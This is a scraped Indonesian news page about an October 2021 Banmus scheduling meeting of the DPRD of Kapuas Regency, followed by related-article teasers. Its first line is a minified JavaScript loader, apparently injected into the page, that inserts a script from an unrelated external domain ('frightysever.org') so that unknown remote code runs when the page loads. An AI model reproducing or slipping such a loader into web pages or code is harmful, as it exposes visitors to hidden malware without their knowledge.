(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN. COM, KUALA KAPUAS – DPRD Kabupaten Kapuas menggelar rapat Badan Musyawarah (Banmus) pada Selasa (5/10/2021).
Rapat dipimpin Ketua DPRD Kabupaten Kapuas, Ardiansah didampingi Wakil Ketua I Yohanes, Wakil Ketua II, Evan Rahman Sahputra, dan sejumlah anggota dewan.
Rapat Bamus menjadwalkan agenda kegiatan DPRD Kabupaten Kapuas dalam beberapa waktu ke depan.
“Untuk agenda kita nanti ke depan diantaranya terkait dengan pembahasan KUA-PPAS APBD tahun 2022 bersama pihak eksekutif,” kata Ardiansah, kepada Kanalkalimantan.com, Kamis (7/10/2021).
Baca juga : Bakti Sosial dan Vaksinasi Alumni Akpol 99 di Banjarmasin
Politisi Partai Golkar ini menyebutkan sejumlah agenda kegiatan, diantaranya kaji banding Bapemperda DPRD Kapuas ke luar daerah terkait 5 buah Raperda Kabupaten Kapuas.
“Kemudian ada rapat internal fraksi. Lalu ada juga Rapat Bapemperda dengan Bagian Hukum Setda Kapuas untuk membahas fasilitasi dua buah Raperda,” ucapnya.
Ardiansah berharap seluruh rangkaian kegiatan tugas DPRD Kapuas ini dapat berjalan dengan lancar. (kanalkalimantan.com/ags)
Reporter : ags
Editor : kk
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.